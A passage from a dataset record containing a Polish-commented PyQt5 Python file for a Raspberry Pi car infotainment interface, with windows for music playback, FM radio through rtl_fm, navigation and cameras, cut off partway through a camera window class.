"line_number": 110, "usage_type": "name"}]} {"seq_id": "11893107912", "text": "#Klasa przechwouje wszystkie sloty i sygnały w aplikacji\n\n#Moduły wbudowane\nimport os\nfrom PyQt5.QtWidgets import *\nfrom PyQt5 import *\nimport sys\nfrom PyQt5.QtCore import pyqtSignal\nfrom PyQt5.QtCore import QThread\n\n#Moduły aplikacji\nfrom forms import blank_window\n\n\n#klasa odpowiadająca za główny ekran, czyli za forms/main_window.py\n#pierwszy ekran po uruchomieniu aplikacji!\nfrom forms import main_window\nclass MainWindow(QMainWindow, main_window.Ui_MainWindow):\n#ten konstruktor nadpisuje konstruktor z klasy bazowej\n#dlatego wywołujemy konstruktor z klasy bazowej z poziomu konstruktora klasy dziedziczącej\n\tdef __init__(self):\n\t\tsuper().__init__()\n\t\t#wywołuję główną metodę piku formularza\n\t\tself.setupUi(self) # metoda zdefiniowana w pliku *.UI zamienionym na *.py, czyli w formularzu\n\t\t#przypisuje konkretną funkcję(slot) do przycisku i sygnał\n\t\tself.MP3_Player.clicked.connect(lambda: self.showMP3PlayerForm())\n\t\tself.FM_Radio.clicked.connect(lambda: self.showFMForm())\n\t\tself.Navigation.clicked.connect(lambda: self.startNavigation())\n\t\tself.Camcorder.clicked.connect(lambda: self.showCamcorderForm())\n\t\tself.Camera.clicked.connect(lambda: self.showCameraForm())\n\t\tself.Multimedia.clicked.connect(lambda: self.showMultimediaForm())\n\t\tself.Close.clicked.connect(lambda: self.showCloseForm())\n\t\tself.setStyleSheet(open(\"resources/style.qss\", \"r\").read())\n\t\n\t#funkcję(sloty) do obsługi przycisków\n\tdef showMP3PlayerForm(self):\n\t\t#tworzę obiekt klasy MusicWindow\n\t\tself.dialog = MusicWindow()\n\t\t#wyświetlam formualrz (pierwszy!) odtwarzacza muzyki\n\t\t#analogicznie działają funkcję niżej\n\t\tself.dialog.show()\n\tdef showFMForm(self):\n\t\tself.dialog = FMWindow()\n\t\tself.dialog.show()\n\tdef startNavigation(self):\n\t\t#uruchamiam nawigację navit\n\t\tos.system('navit') \n\tdef showCamcorderForm(self):\n\t\tself.dialog = CamcorderWindow()\n\t\tself.dialog.show()\n\tdef showCameraForm(self):\n\t\tself.dialog = CameraWindow()\n\t\tself.dialog.show()\n\tdef showMultimediaForm(self):\n\t\tself.dialog = MultimediaWindow()\n\t\tself.dialog.show()\n\tdef showCloseForm(self):\n\t\tself.dialog = CloseWindow()\n\t\tself.dialog.show()\n\n\n#Klasa odpowiadająca za MP3PlayerWindow czyli za forms/MP3_player_window.py\nfrom forms import MP3_player_window\nclass MusicWindow(QMainWindow, MP3_player_window.Ui_MP3PlayerWindow):\n\tdef __init__(self):\n\t\tsuper(self.__class__, self).__init__()\n\t\tself.setupUi(self) \n\t\t\n\t\t#przypisuje konkretną funkcję do przycisku i sygnał\n\t\tself.Pendrive.clicked.connect(lambda: self.playPendrive())\n\t\tself.Memory_Card.clicked.connect(lambda: self.playMemoryCard())\n\t\tself.Playlist.clicked.connect(lambda: self.showPlaylist())\n\t\tself.setWindowFlags(QtCore.Qt.FramelessWindowHint)\n\t\tself.setStyleSheet(open(\"resources/style.qss\", \"r\").read()) \n\t\n\t#funkcję(sloty) do obsługi przycisków\n\tdef playPendrive(self):\n\t\tos.system('sudo pkill -9 aplay;sudo pkill -9 rtl_fm;vlc /media/pi/307E-6572 --fullscreen')\n\tdef playMemoryCard(self):\n\t\tos.system('sudo pkill -9 aplay;sudo pkill -9 rtl_fm;vlc --no-media-library /home/pi/Music')\n\tdef showPlaylist(self):\n\t\tself.dialog = PlaylistsWindow()\n\t\tself.dialog.show()\n\n\n#Klasa odpowiadająca za FMWindow, czyli za forms/FM_window.py\n#Wybranie przycisku \"Wybierz stację\" wywołuje klasę SelectFMWindow\n#która najpierw rysuje pusty formularz\n#potem rysuje na nim przyciski do uruchamiania stacji radiowych\n#przyciski za pomocą klasy ListStations\nfrom forms import FM_window\nFMWindowList = 0\nclass FMWindow(QMainWindow, FM_window.Ui_FMWindow):\n\tdef __init__(self):\n\t\tsuper(self.__class__, self).__init__()\n\t\tself.setupUi(self) # gets defined in the UI file\n\t\t\n\t\t#przypisuje konkretną funkcję do przycisku i sygnał\n\t\tself.Select_Station.clicked.connect(lambda: self.showSelectStationForm())\n\t\tself.Favourited_Stations.clicked.connect(lambda: self.showSelectFavouritedStationForm())\n\t\tself.setWindowFlags(QtCore.Qt.FramelessWindowHint)\n\t\t#otwieram plik ze stylami CSS\n\t\t#które ustalają wygląd elementów, analogicznie jak dla HTML\n\t\tself.setStyleSheet(open(\"resources/style.qss\", \"r\").read()) \n\t\n\t#funkcję(sloty) do obsługi przycisków\n\tdef showSelectStationForm(self):\n\t\tglobal FMWindowList\n\t\tFMWindowList = SelectFMWindow('normal')\n\t\tFMWindowList.show()\n\tdef showSelectFavouritedStationForm(self):\n\t\t#zmienna o zagięgu globalnym\n\t\tglobal FMWindowList\n\t\tFMWindowList = SelectFMWindow('favourited')\n\t\tFMWindowList.show()\n\n#Klasa odpowiadająca za SelectFMWindow\n#która najpierw rysuje pusty formularz\n#potem rysuje na nim przyciski do uruchamiania stacji radiowych\n#za pomocą klasy ListStations\n#kind argument przekazany do rozróżnienia widoku na normalny i na widok ulubionych\n#później ten argument będzie przekazany do klasy ListStations\n#i na tej podstawie zostanie skonstruowane odpowiednie zapytanie do bazy\n#zrobić najlepiej bez globalnej zmiennej offset!\nfrom classes.ListStations import ListStations\n#globalna zmienna\n#offset dla rekordów z bazy\noffset=0\n#zmienna globala przechowuje nazwę aktualnie odtwarzanej stacji\nStationPlayed=0\nclass SelectFMWindow(QMainWindow, blank_window.Ui_BlankWindow):\n#w tym konstruktorze trzeba wywołać instancję klasy ListStations\n#i przekazać do niej argument kind, aby wiedziała\n#czy ma generować widok normalny czy widok ulubionych\n\tdef __init__(self,kind):\n\t\tsuper(self.__class__, self).__init__()\n\t\tself.setupUi(self) \n\t\t#tworzę obiekt, który zgodnie z argumentem kind stworzy odpowiedni widok\n\t\tself.setStyleSheet(open(\"resources/style.qss\", \"r\").read()) \n\t\t\n\t\t#dodaję napis Wszystkie stacje lub Ulubione stację\n\t\tif(kind=='normal'):\n\t\t\tself.test=QtWidgets.QLabel(\"sd\",self)\n\t\t\t#parametry: x, y, width, height\n\t\t\tself.test.setGeometry(QtCore.QRect(80, 100, 181, 31))\n\t\t\t_translate = QtCore.QCoreApplication.translate\n\t\t\tself.test.setText(_translate(\"MainWindow\", \"<html><head/><body><p><span style=\\\" font-size:12pt; font-weight:600;\\\">Wszystkie stacje:</span></p><p><br/></p></body></html>\"))\n\t\t\t#wyświetlam etykietę\n\t\t\tself.test.show()\n\t\telse:\n\t\t\tself.test=QtWidgets.QLabel(\"sd\",self)\n\t\t\tself.test.setGeometry(QtCore.QRect(80, 100, 181, 31))\n\t\t\t_translate = QtCore.QCoreApplication.translate\n\t\t\tself.test.setText(_translate(\"MainWindow\", \"<html><head/><body><p><span style=\\\" font-size:12pt; font-weight:600;\\\">Ulubione stacje:</span></p><p><br/></p></body></html>\"))\n\t\t\tself.test.show()\n\t\t\n\t\tself.ListStationsObject=ListStations(kind)\n\n\t\t#standardowe rysowanie przycisków\n\t\t#rysuje albo normalny widok albo widok ulubionych\n\t\tself.drawStationsButtons(kind,offset)\n\t\t\n\t\t#przypisuje konkretną funkcję do przycisku i sygnał\n\t\tself.setWindowFlags(QtCore.Qt.FramelessWindowHint)\n\t\n\t#funkcję(sloty) do obsługi przycisków\n\tdef playStation(self,sender,kind):\n\t\tglobal StationPlayed\n\t\t#pobieram z bazy częstotliwość stacja o danej nazwie (nazwa zawiera się w sender)\n\t\tFrequency=self.ListStationsObject.getStationFrequency(sender)\n\t\tFMPlayString=\"sudo pkill arecord;sudo pkill -9 aplay;sudo pkill -9 rtl_fm;sudo rtl_fm -f \"+str(Frequency)+\"e6 -s 200000 -r 48000 | aplay -r 48000 -f S16_LE &\"\n\t\t#jeśli będzie otwierana ta sama stacja to nie zostanie ona ponownie uruchomiona\n\t\t#oraz nie zostanie zatrzmane nagrywanie\n\t\t#będzie działać w tle\n\t\tif(StationPlayed!=sender):\n\t\t\tos.system(FMPlayString)\n\t\t\t#zwiększam liczbę odtworzeń\n\t\t\t#stację wyświetlane są od najczęściej używanych\n\t\t\tCounterPlayed=self.ListStationsObject.increaseStationPlayed(sender)\n\t\t#obiekt klasy, która wyświetla końcowy formularz odtwarzania stacji\n\t\t#tj. ten z przyciskami: Dodaj do ulubionych/usuń z ulubionych\n\t\t#normalne/ulubione\n\t\t#nagrywaj/zatrzymaj nagrywanie\n\t\tself.dialog = RadioPlayWindow(sender,kind)\n\t\t#wyświetlam ten formularz\n\t\tself.dialog.show()\n\t\t#przypisuje aktualnie odtwarzaną stację do zmiennej globalnej\n\t\tStationPlayed=sender\n\n\tdef showPreviousStations(self,kind,offset):\n\t\t#czyszczę poprzednie przyciski do stacji\n\t\t#czyszczę przyciski nawigacji (dalej, wstecz)\n\t\tself.cleanStationsButtons(kind)\n\t\t#rysuję przyciski do poprzednich stacji\n\t\t#rysuję przyciski nawigacji\n\t\tself.drawStationsButtons(kind,offset=offset-4)\n\tdef showNextStations(self,kind,offset):\n\t\t#analogicznie jak w funkcji wyżej\n\t\tself.cleanStationsButtons(kind)\n\t\tself.drawStationsButtons(kind,offset=offset+4)\n\t\t#funkcja, która rysuję przyciski do stacji\n\t\t#oraz rysuję przyciski nawigacji\n\tdef drawStationsButtons(self,kind,offset):\n\t\t#tworzę listę ze stacjami\n\t\tStationsList=self.ListStationsObject.getStationName(kind,offset)\n\t\t#rysuje przyciski ze stacjami\n\t\toffset_x=84\n\t\tself.i=0\n\t\tself.StationsListLength=len(StationsList)\n\t\tself.StationsListButtons=[]\n\t\tself.StationsListLabels=[]\n\n\t\t#tworzę przyciski dopóki są rekordy z bazy\n\t\twhile self.StationsListLength>0:\n\t\t\tself.StationsListButtons.append(QPushButton(self))\n\t\t\t#parametry: x, y, width, height\n\t\t\tself.StationsListButtons[self.i].setGeometry(QtCore.QRect(offset_x, 150, 150, 150))\n\t\t\t#wygląd przycisku uruchamiającego daną stację\n\t\t\tself.StationsListButtons[self.i].setStyleSheet(\"QPushButton{background:#26d8fc url(:/images/radio.png)}\")\n\t\t\t#ustalam nazwę obiektu (czyli nazwę konkretnego przycisku)\n\t\t\t#ta nazwa będzie później wykorzystana w celu jednoznacznej identyfikacji\n\t\t\t#który konkretny przycisk wcisnął użytkownik\n\t\t\t#ta informacją posłuży do uruchomienia właściwej stacji\n\t\t\tself.StationsListButtons[self.i].setObjectName(StationsList[self.i])\n\n\t\t\t#dodaje rysowanie etykiet\n\t\t\t#analogicznie jak etykiety wyżej\n\t\t\tself.StationsListLabels.append(QtWidgets.QLabel(\"sd\",self))\n\t\t\tself.StationsListLabels[self.i].setGeometry(QtCore.QRect(offset_x, 310, 181, 31))\n\t\t\tself.StationsListLabels[self.i].setObjectName(StationsList[self.i])\n\t\t\t_translate = QtCore.QCoreApplication.translate\n\t\t\tself.StationsListLabels[self.i].setText(_translate(\"MainWindow\", \"<html><head/><body><p><span style=\\\" font-size:12pt; font-weight:600;\\\">\"+StationsList[self.i]+\"</span></p><p><br/></p></body></html>\"))\n\t\t\tself.StationsListLabels[self.i].show()\n\n\t\t\tself.StationsListButtons[self.i].show()\n\t\t\toffset_x=offset_x+234\n\t\t\tself.StationsListLength=self.StationsListLength-1\n\t\t\t#połączenie sygnału, czyli wciśnięcia przycisku uruchamiającego daną stację\n\t\t\t#ze slotem, czyli funkcją, który zostanie wykonana po wciśnięciu tego przycisku\n\t\t\t#do funkcji playStation() z obecnej klasy zostanie przekazana nazwa obiektu (opisałem wyżej) oraz kind czyli rodzaj stacji\n\t\t\t#normalna lub ulubiona\n\t\t\t#za nazwę obiektu odpowiada: self.sender().objectName()\n\t\t\tself.StationsListButtons[self.i].clicked.connect(lambda: self.playStation(self.sender().objectName(),kind))\n\t\t\tself.i=self.i+1\n\t\t\t\n\t\t\t\n\t\t#sprawdzam ile jest wszystkich rekordów\n\t\tself.StationsCount=self.ListStationsObject.getCountStations(kind)\n\t\t#rysuję przycisk do przodu jeśli jest więcej wyników\n\t\t\n\t\tif(self.StationsCount>(offset+4)):\n\t\t\tself.ButtonNext=QPushButton(self)\n\t\t\tself.ButtonNext.setGeometry(QtCore.QRect(600, 350, 150, 150))\n\t\t\tself.ButtonNext.setStyleSheet(\"QPushButton{background:#168c24 url(:/images/forward.png)}\")\n\t\t\t#dodaje rysowanie etykiet\n\t\t\tself.LabelForward=QtWidgets.QLabel(\"sd\",self)\n\t\t\tself.LabelForward.setGeometry(QtCore.QRect(600, 510, 181, 31))\n\t\t\t_translate = QtCore.QCoreApplication.translate\n\t\t\tself.LabelForward.setText(_translate(\"MainWindow\", \"<html><head/><body><p><span style=\\\" font-size:12pt; font-weight:600;\\\">Następne</span></p><p><br/></p></body></html>\"))\n\t\t\tself.LabelForward.show()\n\t\t\t\n\t\t\tself.ButtonNext.show()\n\t\t\tself.ButtonNext.clicked.connect(lambda: self.showNextStations(kind,offset))\n\t\telse:\n\t\t\t#wykorzystanie exceptions (wyjątków)\n\t\t\ttry:\n\t\t\t\tself.ButtonNext #sprawdza czy istnieje przycisk \"Dalej\"\n\t\t\texcept:\n\t\t\t\tpass #jeśli nie ma to zostanie wykonana ta linijka, który właściwie nic nie robi\n\t\t\telse:\n\t\t\t\t#jeśli istnieję to ukryję przycisk do przodu oraz jego etykietę\n\t\t\t\tself.ButtonNext.hide()\n\t\t\t\tself.LabelForward.hide()\n\t\t\t\t\n\n\t\t#rysuję przycisk wstecz jeśli jest inna strona niż pierwsza\n\t\t#czyli w praktycę jeśli offset jest rózny od zera\n\t\tif(offset!=0):\n\t\t\tself.ButtonPrev=QPushButton(self)\n\t\t\tself.ButtonPrev.setGeometry(QtCore.QRect(400, 350, 150, 150))\n\t\t\tself.ButtonPrev.setStyleSheet(\"QPushButton{background:#168c24 url(:/images/backward.png)}\")\n\t\t\tself.ButtonPrev.show()\n\t\t\tself.ButtonPrev.clicked.connect(lambda: self.showPreviousStations(kind,offset))\n\t\t\t\n\t\t\t#dodaje rysowanie etykiet\n\t\t\tself.LabelBackward=QtWidgets.QLabel(\"sd\",self)\n\t\t\tself.LabelBackward.setGeometry(QtCore.QRect(400, 510, 181, 31))\n\t\t\t_translate = QtCore.QCoreApplication.translate\n\t\t\tself.LabelBackward.setText(_translate(\"MainWindow\", \"<html><head/><body><p><span style=\\\" font-size:12pt; font-weight:600;\\\">Poprzednie</span></p><p><br/></p></body></html>\"))\n\t\t\tself.LabelBackward.show()\n\t\telse:\n\t\t\ttry:\n\t\t\t\tself.ButtonPrev\n\t\t\texcept:\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\tself.ButtonPrev.hide()\n\t\t\t\tself.LabelBackward.hide()\n\n\t#metoda czyszcząca wcześniej wyświetlone stacje\n\tdef cleanStationsButtons(self,kind):\n\t\t#czyszczę obecną listę przycisków\n\t\tfor i in range(len(self.StationsListButtons)):\n\t\t\tself.StationsListButtons[i].hide()\n\t\t#czyszczę obecną listę etykiet\n\t\tfor i in range(len(self.StationsListLabels)):\n\t\t\tself.StationsListLabels[i].hide()\n\t\t#czyszczę przyciski nawigacji:\n\t\ttry:\n\t\t\tself.ButtonPrev\n\t\texcept:\n\t\t\tpass\n\t\telse:\n\t\t\tself.ButtonPrev.hide()\n\t\t\tself.LabelBackward.hide()\n\t\ttry:\n\t\t\tself.ButtonNext\n\t\texcept:\n\t\t\tpass\n\t\telse:\n\t\t\tself.ButtonNext.hide()\n\t\t\tself.LabelForward.hide()\t\n\t#funkcja zamyka okno z listą stacji (z przyciskami do danych stacji)\n\tdef closeFMListForm():\n\t\t\tglobal FMWindowList\n\t\t\tFMWindowList.close()\n\n#Klasa odpowiadająca za RadioPlayWindow, czyli za forms/radio_play_window.py\n#Wyświetla widok odtwarzania konkretnej stacji radiowej\n#nagrywanie stacji działa póki co tylko na PC\n#nie działa na raspberry\nfrom forms import radio_play_window\n#moduł do obsługi czasu\nimport datetime\n\nfrom subprocess import check_output\nFMName=0\nclass RadioPlayWindow(QMainWindow, radio_play_window.Ui_RadioPlayWindow):\n\tdef __init__(self,sender,kind):\n\t\tsuper(self.__class__, self).__init__()\n\t\tself.setupUi(self) \n\t\t#globalna zmienna nazwa stacji, która jest odtwarzana\n\t\tglobal FMName\n\t\tFMName=sender\n\t\t#wypisuję nazwę stacji\t\t\n\t\tself.RadioName=QtWidgets.QLabel(\"sd\",self)\n\t\tself.RadioName.setGeometry(QtCore.QRect(387, 280, 181, 31))\n\t\t_translate = QtCore.QCoreApplication.translate\n\t\tself.RadioName.setText(_translate(\"MainWindow\", \"<html><head/><body><p><span style=\\\" font-size:12pt; font-weight:600;\\\">\"+sender+\"</span></p><p><br/></p></body></html>\"))\n\t\tself.RadioName.show()\n\t\t\n\t\t#obiekt do operacji na bazie danych\n\t\tself.ListStationsObject=ListStations(kind)\n\n\t\t#sprawdzam czy nagrywanie jest już aktywne\n\t\t#nagrywanie dla konkretnej stacji\n\t\tself.PIDarecord=self.get_pid(\"arecord\")\n\t\tif(isinstance(self.PIDarecord, int) and FMName==StationPlayed):\n\t\t\t#Rysuję przycisk stop nagrywania\n\t\t\tself.StopButton=self.drawControlFMButton(\"Stop nagrywania\",627,350,\"#fe022c\",\"stop.png\")\n\t\t\tself.StopButton.show()\n\t\t\t#dodanie slotu\n\t\t\tself.StopButton.clicked.connect(lambda: self.useControlFMButton(self.sender().objectName()))\n\t\t\t#dodaje rysowanie etykiety\n\t\t\tself.StopLabel=self.drawControlButtonLabel(627,510,\"Zatrzymaj nagrywanie\")\n\t\t\tself.StopLabel.show()\n\t\telse:\n\t\t\t#Rysuję przycisk start nagrywania\n\t\t\tself.RecordButton=self.drawControlFMButton(\"Nagrywaj\",627,350,\"#016285\",\"record.png\")\n\t\t\tself.RecordButton.show()\n\t\t\t#dodanie slotu\n\t\t\tself.RecordButton.clicked.connect(lambda: self.useControlFMButton(self.sender().objectName()))\n\t\t\t#dodaje rysowanie etykiety\n\t\t\tself.RecordLabel=self.drawControlButtonLabel(627,510,\"Nagrywaj\")\n\t\t\tself.RecordLabel.show()\n\n\t\t#najpierw muszę sprawdzić stacja jest w ulubionych\n\t\t#trzeba wysłać zapytanie do bazy i sprawdzić, czy jest w ulubionych\n\t\tself.isFavourited=self.ListStationsObject.isStationFavourited(FMName)\n\t\tif(self.isFavourited==0):\n\t\t\t#Rysuję przycisk Ulubione\n\t\t\tself.FavouritedButton=self.drawControlFMButton(\"Ulubione\",247,350,\"#8214d0\",\"favourited.png\")\n\t\t\tself.FavouritedButton.show()\n\t\t\t#Dodanie slotu\n\t\t\tself.FavouritedButton.clicked.connect(lambda: self.useControlFMButton(self.sender().objectName()))\n\t\t\t#Etykieta\n\t\t\tself.FavouritedLabel=self.drawControlButtonLabel(247,510,\"Ulubione\")\n\t\t\tself.FavouritedLabel.show()\n\t\t\t#Rysuję przycisk usuń/dodaj do ulubionych\n\t\t\tself.AddtoFavouritedButton=self.drawControlFMButton(\"Dodaj\",437,350,\"#13de00\",\"add.png\")\n\t\t\tself.AddtoFavouritedButton.show()\n\t\t\t#dodaje rysowanie etykiety\n\t\t\tself.AddtoFavouritedLabel=self.drawControlButtonLabel(437,510,\"Dodaj do ulubionych\")\n\t\t\tself.AddtoFavouritedLabel.show()\n\t\telse:\n\t\t\t#Rysuję przycisk Normalne\n\t\t\tself.NormalButton=self.drawControlFMButton(\"Normalne\",247,350,\"#26d8fc\",\"radio.png\")\n\t\t\t#Dodanie slotu \n\t\t\tself.NormalButton.clicked.connect(lambda: self.useControlFMButton(self.sender().objectName()))\n\t\t\t#dodaje rysowanie etykiety\n\t\t\tself.NormalLabel=self.drawControlButtonLabel(247,510,\"Normalne\")\t\n\t\t\tself.NormalLabel.show()\t\n\t\t\t#usuń z ulubionych\n\t\t\tself.DeleteFromFavouritedButton=self.drawControlFMButton(\"Usun\",437,350,\"#fe022c\",\"delete.png\")\n\t\t\tself.DeleteFromFavouritedButton.show()\n\t\t\t#Dodanie slotu\n\t\t\tself.DeleteFromFavouritedButton.clicked.connect(lambda: self.useControlFMButton(self.sender().objectName()))\n\t\t\t#dodaje rysowanie etykiety\n\t\t\tself.DeleteFromFavouritedLabel=self.drawControlButtonLabel(437,510,\"Usuń z ulubionych\")\n\t\t\tself.DeleteFromFavouritedLabel.show()\n\t\tself.setWindowFlags(QtCore.Qt.FramelessWindowHint)\n\t\tself.setStyleSheet(open(\"resources/style.qss\", \"r\").read()) \n\t\t\n\t\n\t#definicja własnego sygnału\n\t#wcześniej korzystałem z wbudowanych sygnałów\n\t#np. z kliknięcia przycisku\n\ttrigger = pyqtSignal()\n\t#trigger został specjalnie stworzony do zamknęcia okna listy stacji\n\t\n\t#funkcję(sloty) do obsługi przycisków\n\t#obsługa przycisków do przechodzenia z widoku odtwarzania konkretnej np. ulubionej stacji\n\t#do widoku listy stacji normalnych (czyli wszystkich stacji)\t\n\tdef useControlFMButton(self,sender):\n\t\tglobal FMWindowList\n\t\t#ta linijka łączy sygnał ze slotem closeFMListForm() z klasy SelectFMWindow\n\t\tself.trigger.connect(lambda: SelectFMWindow.closeFMListForm())\n\t\tif(sender==\"Ulubione\"):\n\t\t\t\t#emituje sygnał z obecnej klasy do klasy SelectFMWindow (opisane wyżej)\n\t\t\t\t#powyższy slot ma zadanie zamknąć okno z listą stacji\n\t\t\t\t#w tym przypasku zamknie listę wszystkich stacji\n\t\t\t\tself.trigger.emit()\n\t\t\t\t#zamykam okno odtwarzania danej stacji normalnej\n\t\t\t\tself.close()\t\n\t\t\t\t#otwieram okno z listą stacji ulubionych\n\t\t\t\tFMWindowList = SelectFMWindow('favourited')\n\t\t\t\t#wyświetlam to okno\n\t\t\t\tFMWindowList.show()\n\t\tif(sender==\"Normalne\"):\n\t\t\t\t#analogicznie jak wyżej\n\t\t\t\tself.trigger.emit()\n\t\t\t\tself.close()\t\t\t\t\n\t\t\t\tFMWindowList = SelectFMWindow('normal')\n\t\t\t\tFMWindowList.show()\n\t\t#dodawanie danej stacji do ulubionych\n\t\tif(sender==\"Dodaj\"): #jeśli wciśnięto przycisk \"Dodaj do ulubionych\"\n\t\t\t\t#dodaję stację do ulubionych\n\t\t\t\t#zmieniam parametr Favourited w bazie z \"0\" na \"1\"\n\t\t\t\tself.ListStationsObject.addFMStationToFavourited(FMName)\n\t\t\t\t#emituje sygnał do zamknięcia listy wszystkich stacji \n\t\t\t\tself.trigger.emit()\n\t\t\t\t#zamykam okno odtwarzania konkretnej stacji \n\t\t\t\t#w tym przpadku stacji należącej do wszystkich stacji (nie należy do ulubionych)\n\t\t\t\tself.close()\n\t\t\t\t#otwieram listę stacji ulubionych\n\t\t\t\tFMWindowList = SelectFMWindow('favourited')\n\t\t\t\t#wyświetlam okno z listą stacji ulubionych\n\t\t\t\tFMWindowList.show()\n\t\t\t\t#odtwarzam stację\n\t\t\t\t#pobieram z bazy częstotliwość danej stacji\n\t\t\t\t#a potem ja odtwarzam\n\t\t\t\tFrequency=self.ListStationsObject.getStationFrequency(FMName)\n\t\t\t\tFMPlayString=\"sudo pkill -9 aplay;sudo pkill -9 rtl_fm;sudo rtl_fm -f \"+str(Frequency)+\"e6 -s 200000 -r 48000 | aplay -r 48000 -f S16_LE &\"\n\t\t\t\t#wykonuje FMPlayString w terminalu linuxa\n\t\t\t\tos.system(FMPlayString)\n\t\t\t\t#wyświetla widok odtwarzania stacji, j/w\n\t\t\t\tself.dialog = RadioPlayWindow(FMName,\"favourited\")\n\t\t\t\tself.dialog.show()\n\t\t#usuwanie z ulubionych\n\t\t#analogicznie jak wyżej\n\t\tif(sender==\"Usun\"): #jeśli wciśnięto przycisk \"Usuń z ulubionych\"\n\t\t\t\tself.ListStationsObject.deleteFMStationFromFavourited(FMName)\n\t\t\t\tself.trigger.emit()\n\t\t\t\tself.close()\n\t\t\t\tFMWindowList = SelectFMWindow('normal')\n\t\t\t\tFMWindowList.show()\n\t\t\t\t#odtwarzam stację\n\t\t\t\tFrequency=self.ListStationsObject.getStationFrequency(FMName)\n\t\t\t\tFMPlayString=\"sudo pkill -9 aplay;sudo pkill -9 rtl_fm;sudo rtl_fm -f \"+str(Frequency)+\"e6 -s 200000 -r 48000 | aplay -r 48000 -f S16_LE &\"\n\t\t\t\tos.system(FMPlayString)\n\t\t\t\tself.dialog = RadioPlayWindow(FMName,\"normal\")\n\t\t\t\tself.dialog.show()\n\t\t#nagrywanie dźwięku z radia\n\t\t#działa póki co tylko na PC\n\t\t#nie działa jeszcze na raspberry\n\t\t#w nazwie pliku jest nazwa stacji\n\t\t#oraz data i godzina nagrywania\n\t\tif(sender==\"Nagrywaj\"):\n\t\t\t#zmieniam wygląd przycisku\n\t\t\t#nagrywam\n\t\t\ti = datetime.datetime.now()\n\t\t\ttime=(\"%s-%s-%s-%s:%s:%s\" % (i.day, i.month, i.year, i.hour, i.minute, i.second))\n\t\t\tRecordString=\"sudo pkill arecord;arecord \"+'\"'+FMName+\"-\"+str(time)+\".wav\\\" &\"\n\t\t\tos.system(RecordString)\n\t\t\tself.close()\n\t\t\tself.dialog = RadioPlayWindow(FMName,\"normal\")\n\t\t\tself.dialog.show()\n\t\tif(sender==\"Stop nagrywania\"):\n\t\t\t#zmieniam wygląd przycisku\n\t\t\t#zatrzymuje nagrywanie\n\t\t\tos.system('sudo pkill -9 arecord')\n\t\t\tself.close()\n\t\t\tself.dialog = RadioPlayWindow(FMName,\"normal\")\n\t\t\tself.dialog.show()\n\n\t#rysuję przycisk w widoku stacji\n\t#Ulubione/Normalne\n\t#dodaj/usuń z ulubionych\n\t#nagrywaj/zatrzymaj nagrywanie\n\tdef drawControlFMButton(self,objectname,offset_x,offset_y,background,image):\n\t\tself.ControlFMButton=QPushButton(self)\n\t\tself.ControlFMButton.setGeometry(QtCore.QRect(offset_x, offset_y, 150, 150))\n\t\tself.ControlFMButton.setStyleSheet(\"QPushButton{background:\"+str(background)+\" url(:/images/\"+str(image)+\")}\")\n\t\tself.ControlFMButton.setObjectName(objectname)\n\t\treturn self.ControlFMButton\n\n\t#to samo tylko, że dla etykiet tych przycisków\n\tdef drawControlButtonLabel(self,offset_x,offset_y,label):\n\t\tself.ControlFMButtonLabel=QtWidgets.QLabel(\"sd\",self)\n\t\tself.ControlFMButtonLabel.setGeometry(QtCore.QRect(offset_x, offset_y, 181, 31))\n\t\t_translate = QtCore.QCoreApplication.translate\n\t\tself.ControlFMButtonLabel.setText(_translate(\"MainWindow\", \"<html><head/><body><p><span style=\\\" font-size:12pt; font-weight:600;\\\">\"+str(label)+\"</span></p><p><br/></p></body></html>\"))\n\t\treturn self.ControlFMButtonLabel\n\t#funkcję zwraca pid procesu, np pid procesu arecord\n\t#służy do sprawdzenia czy jakaś stacja jest już nagrywana\n\tdef get_pid(self,name):\n\t\ttry:\n\t\t\treturn int(check_output([\"pidof\",\"-s\",name]))\n\t\texcept:\n\t\t\tpass\n\t\telse:\n\t\t\tpass\n\n\n#Klasa odpowiadająca za ListsPlaylistWindow, czyli za forms/playlists_window.py\n#tworzy pusty formularz z przyciskiem wstecz, na którym będzie wylistowana lista playlist\n#oraz tworzy obiekt klasy ListPlaylist (z pliku ListPlaylists.py), która odpowiada za właściwą obsługę listowania playlist\n\n#importuję kod klasy ListPlaylists\nfrom classes.ListPlaylists import ListPlaylists\nclass PlaylistsWindow(QMainWindow, blank_window.Ui_BlankWindow):\n\tdef __init__(self):\n\t\tsuper(self.__class__, self).__init__()\n\t\tself.setupUi(self) \n\t\tself.setWindowFlags(QtCore.Qt.FramelessWindowHint)\n\t\tself.setStyleSheet(open(\"resources/style.qss\", \"r\").read()) \n\t\tself.PlaylistsWindowForm=ListPlaylists()\n\t\tself.PlaylistsWindowForm.show()\n\t\tself.Back.clicked.connect(lambda: self.backToMP3PlayerWindow())\n\t\n\t#przypisanie slotów\n\t#funkcja, która wraca do widoku odtwarzacza (3 przyciski: pendrive, kara pamięci, playlista)\n\tdef backToMP3PlayerWindow(self):\n\t\tself.close()\n\t\tself.PlaylistsWindowForm.close()\n\n\n#Klasa odpowiadająca za CamcorderWindow, czyli za forms/camcorder_window\n#wyświetla pierwszy formularz po wciśnieciu przycisku Kamera z głównego ekranu\nfrom forms import camcorder_window\nclass CamcorderWindow(QMainWindow, camcorder_window.Ui_CamcorderWindow):\n\tdef __init__(self):\n\t\tsuper(self.__class__, self).__init__()\n\t\tself.setupUi(self) \n\n\t\t#przypisuje konkretną funkcję do przycisku i sygnał\n\t\tself.Front_Camcorder.clicked.connect(lambda: self.showFrontCamcorderForm())\t\t\n\t\tself.Back_Camcorder.clicked.connect(lambda: self.showBackCamcorderForm())\n\t\tself.setWindowFlags(QtCore.Qt.FramelessWindowHint)\n\t\tself.setStyleSheet(open(\"resources/style.qss\", \"r\").read())\n\t\n\t#funkcję(sloty) do obsługi przycisków\n\t#tworzy obiekt klasy FrontCamcorderWindow\n\t#która wyświetla formularz przedniej kamery (rejestrator)\n\tdef showFrontCamcorderForm(self):\n\t\tself.dialog = FrontCamcorderWindow()\n\t#analogicznie formularz kamery cofania\n\tdef showBackCamcorderForm(self):\n\t\tself.dialog = BackCamcorderWindow()\n\n\n#Klasa odpowiadająca za FrontCamcorderWindow, czyli za forms/front_camcorder_window.py\n#widok formularza przedniej kamery (rejestratora)\nfrom classes.Camera import Camera\nclass FrontCamcorderWindow(QMainWindow, blank_window.Ui_BlankWindow):\n\tdef __init__(self):\n\t\tsuper(self.__class__, self).__init__()\n\t\tself.setupUi(self) \n\t\tself.setWindowFlags(QtCore.Qt.FramelessWindowHint)\n\t\tself.setStyleSheet(open(\"resources/style.qss\", 